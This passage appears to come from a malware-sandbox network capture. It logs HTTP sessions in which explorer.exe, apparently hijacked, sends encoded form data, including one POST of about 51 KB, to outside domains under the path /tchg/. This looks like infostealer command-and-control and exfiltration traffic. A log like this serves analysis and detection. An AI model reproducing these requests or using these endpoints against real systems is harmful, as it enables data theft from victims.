May 30, 2023 11:12:36.480588913 CEST	1569	OUT	Data Raw: 6f 75 79 34 55 4c 32 7e 79 53 38 7a 57 71 42 7e 65 6e 30 78 30 63 43 57 35 79 48 4e 54 7a 57 44 65 37 51 7a 53 73 2d 79 61 5a 32 4a 4f 61 5a 62 53 6d 44 59 62 6a 6f 79 39 57 79 48 74 79 78 4d 35 6e 69 6d 75 51 57 55 7a 50 41 4c 55 37 49 54 38 57 Data Ascii: ouy4UL2~yS8zWqB~en0x0cCW5yHNTzWDe7QzSs-yaZ2JOaZbSmDYbjoy9WyHtyxM5nimuQWUzPALU7IT8Wcf8oOssUXMp19sM8R2W7Uv8jTovmEBRV6pKn9WueSZ4AgR_gJ5LOqi28rfWG2JVygQnU4gKf3d-BUPahpaqjwyPeH5YvNrnfcrm2hkEkpJGYIk1ZmNT5USc~jT9GWCCo41XBoVtZQUNf9hcVgzoAzWurO3adVBh7l
May 30, 2023 11:12:36.480720043 CEST	1573	OUT	Data Raw: 39 31 49 6d 64 41 31 75 73 63 70 64 4c 65 4a 77 62 44 4d 41 74 6d 4e 42 5a 55 6b 52 31 4f 51 59 6f 4d 5f 4b 34 6a 41 4d 69 72 75 6c 54 63 4a 77 6d 4f 5a 31 74 52 45 65 31 7e 33 71 51 4f 44 63 2d 35 74 71 6a 28 39 52 4a 6d 4f 49 67 31 33 52 30 30 Data Ascii: 91ImdA1uscpdLeJwbDMAtmNBZUkR1OQYoM_K4jAMirulTcJwmOZ1tREe1~3qQODc-5tqj(9RJmOIg13R00foY95KWcc45TdlCjLVVGopBt2KCVQU2e72Lv9tEFxjGVNpHUj8yPOoWEbdpCUnRG0rmcX6pbppEYT~RYPxs6ah2wwryui45MRflGuRste7l~iFZ~wtfJG5_hbEuJeWCAg5NmjyeAVOJH4FBJ4YyewCP~6K6rPHt1A
May 30, 2023 11:12:36.480889082 CEST	1574	OUT	Data Raw: 37 28 78 48 49 70 6a 48 54 51 39 65 61 73 69 32 54 48 74 51 61 55 79 6e 76 51 47 53 4a 6e 57 59 37 45 4d 65 72 6b 5a 6c 4c 65 55 70 4b 59 46 68 50 36 43 6a 30 50 37 4f 5f 68 63 4c 58 4a 49 59 6f 71 49 4e 74 57 76 36 52 63 78 4f 54 69 58 6d 63 70 Data Ascii: 7(xHIpjHTQ9easi2THtQaUynvQGSJnWY7EMerkZlLeUpKYFhP6Cj0P7O_hcLXJIYoqINtWv6RcxOTiXmcppOETbvKZf83Nrig1SSbbxwDde60h8m-NZn3wjNRpXq7p37U~UgBfD7eiQmp43bhd83Er1tNs2JHC-7OHN5PwSHvcmZsR34lnmjtuLg5VuslxPuCtrw4kvnt3UGzNgkLwB34a4X4Ae8E(WvpFos5~OVvhcxzetLUQi
May 30, 2023 11:12:36.481101990 CEST	1583	OUT	Data Raw: 67 72 4a 59 62 37 32 54 5f 35 64 45 65 35 33 59 64 4d 75 6a 31 4b 4c 63 55 6f 44 65 4d 4a 42 4d 66 36 36 61 79 43 59 74 6e 53 6a 79 33 4e 6c 6a 52 45 43 51 5a 61 35 7a 54 49 6e 31 42 46 46 68 52 36 43 68 77 36 70 4e 61 74 52 54 52 61 71 7e 72 45 Data Ascii: grJYb72T_5dEe53YdMuj1KLcUoDeMJBMf66ayCYtnSjy3NljRECQZa5zTIn1BFFhR6Chw6pNatRTRaq~rEKdM5lU4DBlts9aZwGtAHghPozvZOLTQkpi4SNX2fRvyvcoFOkaFLj1xebwIP95NzHvCef0FJhMQdONnW_z3hQ1-eLjjbgEs1KJtLTdLIveCSo4zwol8ebseMf2b0T5WUwD_3hJe6RJolDpyFVvr5k99PAO_7L9XNN
May 30, 2023 11:12:36.491025925 CEST	1586	OUT	Data Raw: 71 44 2d 4a 35 6c 59 35 31 58 6f 30 77 67 63 75 4e 41 4c 30 63 70 70 32 44 56 77 44 31 35 7a 32 4b 56 49 66 2d 7e 51 57 5a 45 58 6a 65 6e 4b 4c 53 4c 4c 77 6f 6f 2d 4f 6e 31 38 74 2d 4b 46 42 4c 4a 6a 6e 6d 6f 59 5a 63 44 77 5a 5a 65 47 36 6c 41 Data Ascii: qD-J5lY51Xo0wgcuNAL0cpp2DVwD15z2KVIf-~QWZEXjenKLSLLwoo-On18t-KFBLJjnmoYZcDwZZeG6lAsfEii1XLa~nv_ObXsL0loKzUWfe0BXfZ6ejsAyd(QF6PiTCivnwJD1PTewg3YEHEFzHOMgXcaD9qzAHpKt28RKRpu9_j7FlF2g8Tsxo6XGLRomE1NaTNCNbvlsAYGwy~w2Tx8fjv80xGym-sYyw2J49M5qhYZWQdr
May 30, 2023 11:12:36.491110086 CEST	1594	OUT	Data Raw: 4b 28 44 53 51 59 4a 76 41 50 6f 37 49 46 31 4d 76 4c 74 55 57 30 6e 36 6a 77 2d 77 47 6a 35 75 58 70 34 61 51 6e 4d 37 50 74 61 76 53 4e 74 37 55 4b 54 74 37 42 36 73 6b 70 64 74 47 76 69 48 31 54 56 6e 78 43 68 4d 7a 59 73 75 52 69 38 7a 55 48 Data Ascii: K(DSQYJvAPo7IF1MvLtUW0n6jw-wGj5uXp4aQnM7PtavSNt7UKTt7B6skpdtGviH1TVnxChMzYsuRi8zUH58k~MM4CT(PjDgr8CiGwMUZjaNF7JkpU_Rtj1(1O2TSBgOvIsWizSWyPzWSgs04qYdgulmv0uq1U75ZweyBpfaR~AAVi09AjOIgB3Rn6AbkiI(IS6g9xqD-Um2icMPobiUfkx~Wm8xFwvaD9CbphzSOXpS9Iu97mc
May 30, 2023 11:12:36.491451025 CEST	1599	OUT	Data Raw: 2d 47 54 58 36 76 70 75 61 55 68 57 33 28 70 52 4c 49 6c 6b 33 6c 61 68 55 35 52 76 6e 55 76 76 4c 6a 61 45 47 4e 64 65 37 75 76 44 52 70 68 61 39 53 57 47 34 4f 66 36 53 67 47 74 67 32 54 32 6a 66 49 6f 35 69 39 6f 49 42 52 7e 38 42 6e 7e 43 7a Data Ascii: -GTX6vpuaUhW3(pRLIlk3lahU5RvnUvvLjaEGNde7uvDRpha9SWG4Of6SgGtg2T2jfIo5i9oIBR~8Bn~Cz40AQN5IEBZJBSr_J500~3B5fRBjlf09fD12cNznZ-l6Ik(Ik8Fcea(Kw6tai4IRZEm2ZqU9ZrHFmBe_lyp-cYitIIu-IKuf0_AZpsHdvJAoCnV3YYk6BrJy(dnqQyKm6BV0kr3svURZrrvcw-Npad6wZqoC7ZDFUa

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.11.20	49842	130.185.109.77	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:12:39.001168013 CEST	1601	OUT	GET /tchg/?O0qEM=QQ6dpIpAk027UR3BL5U7sG0DxH6sKQa5YnzY0agrXpda3w5URJfAhsqjtJqbY2/M8fhrkTh6mIV7dbZQ8z6SYrdm6JILdk9Mfg==&CF1Ki=UnDuQcdCFs1MNsvY HTTP/1.1 Host: www.printmyride.store Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 30, 2023 11:12:39.012849092 CEST	1601	IN	HTTP/1.1 404 Not Found Server: nginx/1.6.2 Date: Tue, 30 May 2023 09:12:39 GMT Content-Type: text/html Content-Length: 168 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 36 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.6.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.11.20	49843	216.108.231.108	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:12:44.175649881 CEST	1602	OUT	POST /tchg/ HTTP/1.1 Host: www.fairbitawayposearisk.com Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.fairbitawayposearisk.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.fairbitawayposearisk.com/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 63 57 49 75 4c 7a 32 36 63 6f 61 55 44 49 57 36 69 59 44 43 53 63 68 52 4d 39 72 45 37 50 47 57 73 49 62 47 4d 31 4c 53 4e 6c 56 68 53 56 67 48 55 71 43 31 36 4a 4c 41 32 35 7e 66 6b 78 53 77 32 36 6f 41 72 45 74 66 5a 62 56 51 56 66 77 63 4f 65 65 36 52 71 36 31 79 7a 42 4e 68 56 62 76 6e 31 50 42 53 4a 77 49 57 53 35 43 45 6c 76 4c 53 4b 4e 52 6e 48 75 54 38 57 45 41 4a 32 4e 74 32 32 65 75 6f 4e 56 5a 6f 44 48 56 79 42 47 37 59 6d 6a 51 52 6a 45 46 50 4b 7e 6e 64 62 58 43 46 31 4a 46 4d 4d 65 78 79 53 57 5a 32 38 61 68 69 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=cWIuLz26coaUDIW6iYDCSchRM9rE7PGWsIbGM1LSNlVhSVgHUqC16JLA25~fkxSw26oArEtfZbVQVfwcOee6Rq61yzBNhVbvn1PBSJwIWS5CElvLSKNRnHuT8WEAJ2Nt22euoNVZoDHVyBG7YmjQRjEFPK~ndbXCF1JFMMexySWZ28ahig).
May 30, 2023 11:12:45.128420115 CEST	1603	IN	HTTP/1.1 200 OK Date: Tue, 30 May 2023 09:12:44 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 320 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 76 61 72 69 61 62 6c 65 3a 20 75 73 72 5f 69 64 20 69 6e 20 3c 62 3e 2f 76 61 72 2f 77 77 77 2f 68 74 6d 6c 2f 6e 65 77 72 65 64 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 31 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 76 61 72 69 61 62 6c 65 3a 20 69 73 70 20 69 6e 20 3c 62 3e 2f 76 61 72 2f 77 77 77 2f 68 74 6d 6c 2f 6e 65 77 72 65 64 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 31 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 76 61 72 69 61 62 6c 65 3a 20 64 74 20 69 6e 20 3c 62 3e 2f 76 61 72 2f 77 77 77 2f 68 74 6d 6c 2f 6e 65 77 72 65 64 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 31 3c 2f 62 3e 3c 62 72 20 2f 3e 0a Data Ascii: <br /><b>Notice</b>: Undefined variable: usr_id in <b>/var/www/html/newred.php</b> on line <b>51</b><br /><br /><b>Notice</b>: Undefined variable: isp in <b>/var/www/html/newred.php</b> on line <b>51</b><br /><br /><b>Notice</b>: Undefined variable: dt in <b>/var/www/html/newred.php</b> on line <b>51</b><br />

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.11.20	49844	216.108.231.108	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:12:46.864459991 CEST	1604	OUT	POST /tchg/ HTTP/1.1 Host: www.fairbitawayposearisk.com Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.fairbitawayposearisk.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.fairbitawayposearisk.com/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 63 57 49 75 4c 7a 32 36 63 6f 61 55 43 70 6d 36 75 66 66 43 46 73 68 4f 44 64 72 45 30 76 47 53 73 50 54 47 4d 30 66 43 4d 54 39 68 53 31 77 48 56 6f 71 31 35 4a 4c 41 39 5a 7e 65 70 52 53 72 32 36 56 33 72 46 52 66 5a 62 42 51 57 4d 34 63 66 2d 65 35 4a 36 36 36 34 54 42 4f 72 31 62 70 6e 31 79 6f 53 4c 4d 49 52 69 46 43 46 6d 48 4c 59 34 6c 51 32 58 75 64 74 32 45 44 41 57 4e 5a 32 32 6a 54 6f 49 68 6a 6f 31 76 56 31 67 6d 37 5a 6d 6a 54 66 54 46 50 42 61 28 62 54 62 69 61 4e 30 39 69 63 74 53 72 39 7a 33 64 77 64 66 51 79 51 4f 57 54 57 4c 62 4f 5a 6a 5f 78 51 72 38 6c 6e 76 67 57 63 7a 6a 74 4b 65 35 6e 6f 55 53 47 52 53 55 56 45 47 70 7a 65 6a 54 30 39 5a 71 52 53 38 69 4f 36 63 38 6f 5f 64 6e 5a 66 41 63 7e 68 37 56 35 58 52 35 35 79 49 38 57 32 47 77 52 4f 55 69 58 4a 5a 68 73 5f 34 6c 69 66 32 50 73 5a 76 43 33 5f 68 61 45 51 79 44 4d 68 4a 48 6d 31 73 31 49 2d 46 38 4e 42 57 6e 77 50 35 7a 30 54 49 6c 72 5a 68 4d 78 32 79 56 6d 59 44 38 68 74 66 38 65 37 45 67 37 7a 54 45 7e 71 67 6e 69 79 56 37 34 61 5a 2d 7a 70 48 66 62 69 6a 50 48 51 4c 74 4f 78 77 68 39 51 55 30 51 52 79 6b 4b 30 46 67 38 42 68 77 76 4d 35 31 77 63 30 73 63 51 53 55 77 4b 46 52 6e 6f 4f 62 31 31 70 4b 68 6d 4e 37 6b 33 67 47 41 39 4c 37 7e 4e 4d 2d 42 74 49 62 34 4a 51 72 52 68 73 49 75 6d 55 39 74 57 6d 6b 79 41 69 5a 64 6c 4c 77 66 75 47 46 52 7a 4a 4d 7e 44 76 44 37 5f 4b 43 76 66 6a 44 31 65 4d 62 6d 39 39 55 50 51 52 59 6d 57 67 64 4e 72 79 77 49 4d 58 30 41 53 62 39 36 2d 72 33 64 4a 67 67 71 77 6b 2d 53 37 62 75 46 62 4b 41 69 4a 77 36 4d 55 4d 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=cWIuLz26coaUCpm6uffCFshODdrE0vGSsPTGM0fCMT9hS1wHVoq15JLA9Z~epRSr26V3rFRfZbBQWM4cf-e5J6664TBOr1bpn1yoSLMIRiFCFmHLY4lQ2Xudt2EDAWNZ22jToIhjo1vV1gm7ZmjTfTFPBa(bTbiaN09ictSr9z3dwdfQyQOWTWLbOZj_xQr8lnvgWczjtKe5noUSGRSUVEGpzejT09ZqRS8iO6c8o_dnZfAc~h7V5XR55yI8W2GwROUiXJZhs_4lif2PsZvC3_haEQyDMhJHm1s1I-F8NBWnwP5z0TIlrZhMx2yVmYD8htf8e7Eg7zTE~qgniyV74aZ-zpHfbijPHQLtOxwh9QU0QRykK0Fg8BhwvM51wc0scQSUwKFRnoOb11pKhmN7k3gGA9L7~NM-BtIb4JQrRhsIumU9tWmkyAiZdlLwfuGFRzJM~DvD7_KCvfjD1eMbm99UPQRYmWgdNrywIMX0ASb96-r3dJggqwk-S7buFbKAiJw6MUM.
May 30, 2023 11:12:47.879964113 CEST	1605	IN	HTTP/1.1 200 OK Date: Tue, 30 May 2023 09:12:47 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 320 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 76 61 72 69 61 62 6c 65 3a 20 75 73 72 5f 69 64 20 69 6e 20 3c 62 3e 2f 76 61 72 2f 77 77 77 2f 68 74 6d 6c 2f 6e 65 77 72 65 64 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 31 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 76 61 72 69 61 62 6c 65 3a 20 69 73 70 20 69 6e 20 3c 62 3e 2f 76 61 72 2f 77 77 77 2f 68 74 6d 6c 2f 6e 65 77 72 65 64 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 31 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 76 61 72 69 61 62 6c 65 3a 20 64 74 20 69 6e 20 3c 62 3e 2f 76 61 72 2f 77 77 77 2f 68 74 6d 6c 2f 6e 65 77 72 65 64 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 31 3c 2f 62 3e 3c 62 72 20 2f 3e 0a Data Ascii: <br /><b>Notice</b>: Undefined variable: usr_id in <b>/var/www/html/newred.php</b> on line <b>51</b><br /><br /><b>Notice</b>: Undefined variable: isp in <b>/var/www/html/newred.php</b> on line <b>51</b><br /><br /><b>Notice</b>: Undefined variable: dt in <b>/var/www/html/newred.php</b> on line <b>51</b><br />

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.11.20	49845	216.108.231.108	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:12:49.551434040 CEST	1610	OUT	POST /tchg/ HTTP/1.1 Host: www.fairbitawayposearisk.com Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.fairbitawayposearisk.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.fairbitawayposearisk.com/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 63 57 49 75 4c 7a 32 36 63 6f 61 55 43 70 6d 36 75 66 66 43 46 73 68 4f 44 64 72 45 30 76 47 53 73 50 54 47 4d 30 66 43 4d 54 31 68 53 6d 49 48 55 4a 71 31 34 4a 4c 41 79 4a 7e 62 70 52 54 35 32 36 4e 7a 72 46 64 50 5a 59 35 51 57 39 6f 63 66 72 71 35 63 4b 36 33 30 7a 42 4d 68 56 62 39 6e 31 50 5f 53 4b 6f 59 57 53 78 43 45 68 72 4c 53 76 35 52 7e 6e 75 54 74 32 45 45 58 47 4e 37 32 32 6d 4d 6f 49 6c 6a 6f 7a 76 56 30 54 65 37 56 52 33 54 57 6a 46 4f 48 71 28 55 63 37 69 56 4e 30 35 63 63 74 53 52 39 78 62 64 77 64 28 51 67 44 6e 41 51 32 4c 62 43 35 6a 2d 31 51 6e 77 6c 6a 50 6f 57 63 48 6a 74 49 4f 35 6d 49 55 53 44 31 47 58 57 6b 47 76 6b 2d 6a 2d 77 38 6b 47 52 53 70 47 4f 36 49 38 6f 4d 68 6e 57 4d 6f 63 35 45 50 56 77 58 52 37 33 53 49 76 59 6d 48 70 52 4f 45 45 58 4e 6c 58 73 5f 73 6c 6a 2d 57 50 6f 4c 4c 64 7e 5f 68 59 59 41 79 57 49 68 56 4c 6d 31 38 78 49 2d 46 53 4e 46 4f 6e 77 2d 4a 7a 31 53 49 6d 72 4a 68 4c 6b 6d 7a 58 39 6f 50 71 68 73 7a 4f 65 36 38 77 37 79 58 45 76 36 67 6e 33 68 39 34 6a 36 5a 35 78 70 48 4e 66 69 69 56 48 51 47 45 4f 77 30 4c 7e 67 34 30 66 41 4f 6b 63 45 46 6e 74 52 68 30 35 38 35 33 6e 4d 30 73 63 51 4f 2d 77 4b 42 52 6e 63 43 62 30 47 42 4b 6b 31 6c 37 6f 58 67 63 41 39 4c 78 7e 4e 41 64 42 75 6f 35 34 49 68 4d 52 69 41 49 75 58 45 39 73 54 4b 6e 33 77 69 63 4d 31 4b 79 51 4f 36 65 52 7a 56 45 7e 44 28 31 36 4d 4f 43 75 66 7a 44 69 4f 4d 59 77 4e 38 65 66 41 52 4b 77 6d 73 42 4e 72 75 4b 49 4e 54 6b 41 51 4c 39 36 35 65 78 48 35 63 48 6f 43 41 4d 52 4d 54 36 46 34 69 79 6c 6f 34 37 54 6a 50 78 77 57 67 4c 65 48 78 48 6c 6c 4e 31 46 36 72 67 76 6b 5a 6e 78 6f 47 6e 57 42 6f 42 4f 4a 7e 56 36 5a 77 50 51 57 4f 58 7e 30 30 69 37 4a 58 4b 6e 6e 6b 53 45 53 37 2d 7a 76 71 4e 77 6d 44 30 45 56 51 76 4d 6c 43 5f 42 4d 71 6a 39 6c 79 31 48 65 54 44 4f 79 43 33 74 77 67 49 6a 66 78 78 36 58 31 58 34 39 67 51 41 4a 70 39 6e 59 7a 77 54 76 72 59 62 72 79 74 67 33 70 6c 39 62 41 4b 7e 30 48 45 36 77 4a 51 61 5f 47 46 43 67 48 36 71 5a 4a 30 6b 57 41 48 39 6a 65 71 7a 41 54 66 51 38 37 53 42 64 6a 59 58 73 73 73 68 74 58 78 6c 44 39 55 62 4b 6b 4e 56 4c 53 42 4b 77 45 6f 75 77 6c 42 6d 39 66 7a 42 50 69 6e 31 79 31 5f 57 6a 42 38 6d 2d 45 45 6b 36 6c 39 68 50 41 76 61 56 4f 4a 61 6a 69 4f 52 72 47 6f 47 5f 56 39 62 47 50 46 4d 41 28 32 36 5a 28 41 79 71 50 74 49 52 53 48 51 44 44 46 62 39 79 4f 4b 69 53 38 6d 47 61 33 6b 6d 49 4f 37 44 74 52 6e 69 56 5f 35 6e 34 37 67 71 70 78 73 71 48 63 54 79 36 35 38 6d 32 6c 67 6f 7a 5f 4a 33 36 49 41 5f 6a 2d 6e 44 79 39 4f 33 54 51 59 5f 52 71 36 43 62 6d 50 6f 41 71 77 48 4b 4b 4b 47 45 6f 51 54 57 6f 33 56 68 71 7e 71 54 49 79 4c 6b 73 56 63 68 45 33 79 73 5a 70 6f 63 43 64 66 55 77 69 6d 4a 66 7a 54 57 31 4e 6b 61 6d 7a 77 39 33 39 41 49 6b 72 68 7e 6d 53 61 46 64 67 50 5a 47 43 72 61 53 42 59 30 64 6c 78 34 79 73 64 71 54 5a 61 77 50 7e 63 4e 34 66 45 71 74 51 79 6c 63 6f 59 4c 45 4d 38 65 31 45 68 4f 52 69 4f 57 7a 7a 78 63 58 48 79 67 30 48 66 66 6a 38 6a 65 7a 53 31 51 4d 44 61 59 47 7e 68 65 51 72 6b 32 36 73 4f 4c 4d 4d 7a 79 49 6c 70 35 72 56 4a 6e 74 48 53 32 4e 7e 45 65 34 70 43 68 64 6d 64 65 32 44 6c 45 70 30 4a 46 50 72 70 50 66 4e 65 6a 35 66 47 5a 4b 79 57 61 34 6f 70 57 73 7e 62 43 58 36 72 4b 63 52 49 69 68 4b 56 31 65 42 63 4b 57 73 68 72 79 78 50 6c 54 59 45 49 6e 28 51 61 75 4f 72 77 39 4c 53 79 53 45 4a 4d 76 34 6a 76 61 79 65 7a 5f 4a 6a 38 36 50 53 75 69 7e 76 66 51 6a 75 4a 71 6b 70 61 52 35 75 70 63 35 50 45 69 71 35 6c 66 57 30 66 2d 4b 4f 61 73 5a 6b 74 69 70 34 58 51 39 41 49 44 50 73 39 32 6a 69 41 79 4e 54 47 59 61 71 59 55 58 55 69 54 65 57 6d 4b 78 6a 67 61 31 4d 36 53 39 33 50 36 6a 38 70 6e 28 75 6a 72 28 4e 44 31 6f 30 7e 66 78 70 63 53 55 31 44 7a 46 5f 4d 38 54 55 75 61 74 6b 4c 43 4d 64 74 4f 32 33 51 4b 36 76 57 72 38 4d 39 71 50 32 42 30 70 55 6b 67 37 54 68 75 7e 72 76 44 4e 35 28 48 7e 48 47 76 6f 6a 35 49 44 4e 31 36 54 58 28 4f 79 76 35 37 33 56 36 6e 74 6b 4a 55 7e 67 6a 44 4b 65 76 75 49 50 63 68 30 74 33 6e 74 31 46 4a 37 77 30 67 34 63 38 5a 4a 46 68 74 35 75 76 65 79 34 57 72 6c Data Ascii: O0qEM=cWIuLz26coaUCpm6uffCFshODdrE0vGSsPTGM0fCMT1hSmIHUJq14JLAyJ~bpRT526NzrFdPZY5QW9ocfrq5cK630zBMhVb9n1P_SKoYWSxCEhrLSv5R~nuTt2EEXGN722mMoIljozvV0Te7VR3TWjFOHq(Uc7iVN05cctSR9xbdwd(QgDnAQ2LbC5j-1QnwljPoWcHjtIO5mIUSD1GXWkGvk-j-w8kGRSpGO6I8oMhnWMoc5EPVwXR73SIvYmHpROEEXNlXs_slj-WPoLLd~_hYYAyWIhVLm18xI-FSNFOnw-Jz1SImrJhLkmzX9oPqhszOe68w7yXEv6gn3h94j6Z5xpHNfiiVHQGEOw0L~g40fAOkcEFntRh05853nM0scQO-wKBRncCb0GBKk1l7oXgcA9Lx~NAdBuo54IhMRiAIuXE9sTKn3wicM1KyQO6eRzVE~D(16MOCufzDiOMYwN8efARKwmsBNruKINTkAQL965exH5cHoCAMRMT6F4iylo47TjPxwWgLeHxHllN1F6rgvkZnxoGnWBoBOJ~V6ZwPQWOX~00i7JXKnnkSES7-zvqNwmD0EVQvMlC_BMqj9ly1HeTDOyC3twgIjfxx6X1X49gQAJp9nYzwTvrYbrytg3pl9bAK~0HE6wJQa_GFCgH6qZJ0kWAH9jeqzATfQ87SBdjYXssshtXxlD9UbKkNVLSBKwEouwlBm9fzBPin1y1_WjB8m-EEk6l9hPAvaVOJajiORrGoG_V9bGPFMA(26Z(AyqPtIRSHQDDFb9yOKiS8mGa3kmIO7DtRniV_5n47gqpxsqHcTy658m2lgoz_J36IA_j-nDy9O3TQY_Rq6CbmPoAqwHKKKGEoQTWo3Vhq~qTIyLksVchE3ysZpocCdfUwimJfzTW1Nkamzw939AIkrh~mSaFdgPZGCraSBY0dlx4ysdqTZawP~cN4fEqtQylcoYLEM8e1EhORiOWzzxcXHyg0Hffj8jezS1QMDaYG~heQrk26sOLMMzyIlp5rVJntHS2N~Ee4pChdmde2DlEp0JFPrpPfNej5fGZKyWa4opWs~bCX6rKcRIihKV1eBcKWshryxPlTYEIn(QauOrw9LSySEJMv4jvayez_Jj86PSui~vfQjuJqkpaR5upc5PEiq5lfW0f-KOasZktip4XQ9AIDPs92jiAyNTGYaqYUXUiTeWmKxjga1M6S93P6j8pn(ujr(ND1o0~fxpcSU1DzF_M8TUuatkLCMdtO23QK6vWr8M9qP2B0pUkg7Thu~rvDN5(H~HGvoj5IDN16TX(Oyv573V6ntkJU~gjDKevuIPch0t3nt1FJ7w0g4c8ZJFht5uvey4Wrly7jRQaDyCFqOo684QolWQzDWtdViRjhSPrNkbKqs9JfYzKSAPk-fWS6WhdxUw6Nsip-cjjBaCTaAFCvlaF50a(Skb(5nz0sgJAOANnAHOfmLk7dETrJGSrCEYyW1bVMp03pw2638u(TeApm6KQ5wRHTk2gUNwuYK25bE2IUS1rz~6DlZlL_jvr-(zU9KWBM3sfkChsEbCxEG7ThB8wGtd7OIzVe6vN3lnqI8ZBbPoX6Oa9H2tP6oXqbbLwXDr4OliJM9dndgzgoK0zNEzV_AVqk2S4N7vi5GILOE9ipLTwzxsULfxhxyIqjdYLsMko9amZGxu09NDQR2QGsF0ojrE7Hi9n5JDIl(B~GrITagro_TzyDfKpSWBdwXAtzkPt7QyOmgi5yGx13xnQUT-goE8cZMV6nu2ZdlHzaT34cQSF8SZZJ8pPt(_e8IyXhmkUUt_7P6BlF2d6hSEk3Ruhxm6t0VClNm-ytqQrKS946LNCGjIPdHtmw~aR-R4OxjTgRCDejLJn8qlBb(P2RjuPwXZk_MUREiU4GGTw4g5(HEqlbo5N8t_eMqUvMM7YBfv25IJdQzdeggIRb3glCA9a8uVN_MEzA(dJhU63j~BGSkosLloJ6GX~zIJnjHB7PMTQy9S7qMLbnVpJPb7y9D8jOYBNku73SFmGkXeqYiGRD8VvEt4~02DR_eF28i4CuuFzuGz~bMYID8-6_cZDoWQ0IghDY0MCiDMs2u3gIfWSDQu3r3E3HYvUw9VMunBS23hGaYvOuSWW1PAdKbxcX7vqAj5jao5WiN7qe3sSpuSdfDFkmL0AQCCvdGOWwiCf0TUTGPLQcv6xGE8wUca5k8xgrlco-Q-ttUcBJgiJ03Z(_qJ(_gLLwxUB0WRJ4zwg4uK6dZUVEhDSjPrhI(GI_TFW8hR0ga3MgR9gPGJr4zlzwC9ESDITBzbEYfP3JMU13k50mOFpN09~vIpIsEQE7ORBNe9JsrJLsaWn-dKrMYgaF2UwDk3vhcVi3X0Ns